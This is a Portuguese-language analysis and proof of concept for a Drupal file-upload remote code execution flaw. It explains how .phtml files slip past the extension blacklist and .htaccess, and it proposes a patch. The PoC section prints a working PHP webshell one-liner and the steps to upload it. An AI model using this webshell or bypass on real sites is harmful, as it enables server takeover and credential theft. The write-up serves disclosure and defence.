
CVE-2020-13671 - Análise e PoC da Vulnerabilidade de RCE no Drupal via Upload de Arquivos
Software: Drupal Core 8.7.5 (Afetado: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alto)
CWE: CWE-434 — Upload sem Restrições de Ficheiro com Tipo Perigoso
CISA KEV: Sim — Vulnerabilidade Conhecida Explorada
Advisory: SA-CORE-2020-012
O Drupal é um Sistema de Gestão de Conteúdos (CMS) de código aberto escrito em PHP, semelhante ao WordPress ou Joomla, mas orientado para a construção de sistemas mais complexos — websites empresariais, plataformas multilingue. O Drupal utiliza uma arquitetura modular, permitindo que a funcionalidade seja estendida ao ativar/desativar módulos disponíveis ou instalar módulos adicionais da comunidade.
Uma das funções básicas de qualquer CMS é permitir que os utilizadores carreguem ficheiros — avatares de perfil, documentos anexados, anexos em artigos. O Drupal guarda esses ficheiros no diretório sites/default/files/ e serve-os diretamente através do servidor web (Apache ou Nginx).
⇒ Isto cria uma superfície de ataque clara: se um atacante conseguir carregar um ficheiro PHP para esse diretório, o servidor web irá executá-lo quando acedido através de um pedido recebido.
Para evitar isto, o Drupal constrói múltiplas camadas de defesa: validação de extensões de ficheiros, renomeação de ficheiros perigosos, colocação de .htaccess para bloquear a execução de scripts no diretório de upload. Mas na versão 8.7.5, os atacantes exploram exatamente o ponto cego entre estas camadas.
Esta vulnerabilidade requer uma conta com permissões de upload de ficheiros. Por predefinição no Drupal 8.7.5, os utilizadores normais (Autenticados) só têm permissões para visualizar conteúdo e publicar comentários — sem permissão para criar artigos ou carregar ficheiros.
| Conta | Explorável? | Explicação |
|---|---|---|
| Admin | Sim | Permissões totais de upload |
| Editor / Criador de Conteúdo | Sim | Se for concedida a permissão "Criar conteúdo" com upload pelo administrador |
| Utilizador autenticado (predefinição) | Não | Por predefinição não tem permissão para criar conteúdo ou carregar |
| Anónimo (não autenticado) | Não | Sem permissão de upload |
No entanto, na prática, muitos sites Drupal concedem permissões de criação de conteúdo a utilizadores normais (fóruns, blogs comunitários, sites de notícias que permitem submissão de artigos). Nesses casos, um atacante só precisa de registar uma conta para a explorar.
Fluxo do Ataque:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
No ficheiro core/modules/file/file.module, existe uma única regex que determina quais os ficheiros considerados executáveis:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Esta regex lista 7 extensões: phar, php, pl, py, cgi, asp, js. Qualquer ficheiro com uma extensão que corresponda a esta lista será automaticamente sufixado com .txt pelo Drupal — neutralizando a capacidade de execução.
No entanto, o motor PHP não processa apenas ficheiros .php. Dependendo da configuração do servidor web, também reconhece e executa outras extensões:
| Extensão | Significado | Incluída na regex? |
|---|---|---|
.php | Padrão PHP | Sim |
.phtml | Template alternativo do PHP | Não |
.php5 | Handler do PHP 5 | Não |
.pht | Template PHP | Não |
.phps | Código-fonte PHP | Não |
.shtml | Server-Side Includes | Não |
5 variantes de extensão PHP estão completamente ausentes da regex. Isto significa que um ficheiro chamado shell.phtml enviado para o Drupal → a regex não corresponde → não é renomeado → guardado com o seu nome original no diretório de upload → o servidor web vê .phtml → executa-o como PHP → o atacante alcança RCE. Esta é a causa raiz: o Drupal usava uma lista negra para bloquear extensões perigosas, mas essa lista estava incompleta.
Quando um utilizador carrega um ficheiro, o Drupal passa-o por 3 funções de validação antes de o guardar. Abaixo está uma análise de por que todas as 3 falham com .phtml.
file_munge_filename() (core/includes/file.inc)Objetivo: detetar extensões perigosas localizadas no meio do nome do ficheiro e acrescentar _ para as neutralizar. Veja como a função funciona:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Por exemplo, com shell.phtml:
explode divide em ["shell", "phtml"]shift retira "shell", deixando ["phtml"]pop retira "phtml", deixando []foreach não é executado"shell.phtml" intactoNo entanto, se o ficheiro tiver apenas uma extensão, ela não intervém. Assim, esta função foi concebida apenas para lidar com ficheiros com múltiplas extensões.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Esta é a principal camada de defesa. Código na linha 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Se o nome do ficheiro corresponder à regex → altera o MIME para text/plain e acrescenta .txt no final.
Com shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') retorna 0.phtml é perigoso, passa direto..htaccess no diretório de uploadO Drupal coloca um ficheiro .htaccess em sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
A diretiva php_flag engine off desliga o motor PHP para todo o diretório, mas só se aplica ao mod_php5. O Drupal 8.7.5 é executado em PHP 7, o que significa que mod_php7 está ativo e não desativado.
E o .htaccess também tem outras 3 fraquezas:
.htaccess — este ficheiro é completamente ineficaz no NginxAllowOverride None → .htaccess é ignoradomod_php → a diretiva php_flag não tem efeitoecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Inicie sessão no Drupal com uma conta que tenha permissões de upload → Conteúdo → Adicionar conteúdo → Artigo → no campo Imagem, selecione o ficheiro webshell.phtml → Carregar.
O Drupal aceita o ficheiro, não o renomeia e guarda-o com o seu nome original em sites/default/files/.

Depois disso, execute a chamada de shell com whoami:

Assim, alcançamos com sucesso RCE como www-data.
Testando mais para ver as credenciais:

O atacante pode ler settings.php contendo as credenciais da base de dados, despejar toda a base de dados, instalar uma reverse shell ou escalar privilégios para root.
Atualizar a regex — adicionar as 5 extensões em falta:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Atualizar o .htaccess — adicionar desativação para mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
O patch funciona, mas ainda depende de uma lista negra. Se novas extensões surgirem no futuro (.php8, .phpt), a regex precisará de ser atualizada novamente. A lista branca — permitir apenas extensões conhecidas como seguras — seria uma abordagem mais completa.
| Ficheiro Vulnerável | core/modules/file/file.module linha 28 |
|---|---|
| Causa Raiz | A lista negra da regex não inclui .phtml, .php5, .pht, .phps, .shtml |
| Impacto | Upload .phtml → servidor executa → RCE |
| 3 Camadas de Defesa Contornadas | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Patch | Adicionar 5 extensões à regex + desativar mod_php7 no .htaccess |